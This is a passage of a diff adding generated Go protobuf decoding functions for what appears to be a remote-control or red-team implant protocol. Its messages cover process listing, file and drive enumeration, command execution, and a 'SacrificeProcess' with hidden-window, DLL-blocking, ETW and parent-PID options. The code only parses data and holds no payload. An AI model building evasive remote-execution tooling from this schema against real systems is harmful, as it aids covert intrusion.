intStringLen) + } + m.Locale = stringValue + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ClrVersion", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.ClrVersion = append(m.ClrVersion, stringValue) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Process) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Process: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Process: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Ppid", wireType) + } + m.Ppid = 0 + m.Ppid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Owner", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Owner = stringValue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Arch", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Arch = stringValue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Args = stringValue + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Uid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Uid = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Timer) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Timer: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Timer: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Expression", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Expression = stringValue + iNdEx = postIndex + case 2: + if wireType != 1 { + return fmt.Errorf("proto: wrong wireType = %d for field Jitter", wireType) + } + var v uint64 + var _v64 uint64 + _v64, iNdEx, err = protobuf_go_lite.DecodeFixed64(dAtA, iNdEx) + if err != nil { + return err + } + v = uint64(_v64) + m.Jitter = float64(math.Float64frombits(v)) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *FileInfo) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: FileInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: FileInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field IsDir", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.IsDir = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Size", wireType) + } + m.Size = 0 + m.Size, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ModTime", wireType) + } + m.ModTime = 0 + m.ModTime, iNdEx, err = protobuf_go_lite.DecodeVarintInt64(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Mode", wireType) + } + m.Mode = 0 + m.Mode, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Link", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Link = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *SacrificeProcess) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: SacrificeProcess: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: SacrificeProcess: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Hidden", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Hidden = bool(v != 0) + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field BlockDll", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BlockDll = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Etw", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Etw = bool(v != 0) + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Ppid", wireType) + } + m.Ppid = 0 + m.Ppid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Argue", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Argue = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *LsResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: LsResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: LsResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Exists", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Exists = bool(v != 0) + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Files", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Files = append(m.Files, &FileInfo{}) + if err := m.Files[len(m.Files)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *DriveInfo) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: DriveInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: DriveInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field DriveType", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.DriveType = stringValue + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TotalSize", wireType) + } + m.TotalSize = 0 + m.TotalSize, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field FreeSize", wireType) + } + m.FreeSize = 0 + m.FreeSize, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field FileSystem", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.FileSystem = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *EnumDriversResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: EnumDriversResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: EnumDriversResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Drives", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Drives = append(m.Drives, &DriveInfo{}) + if err := m.Drives[len(m.Drives)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PsResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PsResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PsResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Processes", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Processes = append(m.Processes, &Process{}) + if err := m.Processes[len(m.Processes)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Args = append(m.Args, stringValue) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Output", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Output = bool(v != 0) + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Singleton", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Singleton = bool(v != 0) + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Realtime", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Realtime = bool(v != 0) + case 10: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Ppid", wireType) + } + m.Ppid = 0 + m.Ppid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field StatusCode", wireType) + } + m.StatusCode = 0 + m.StatusCode, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Stdout", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Stdout = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Stderr", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Stderr = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field End", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.End = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return 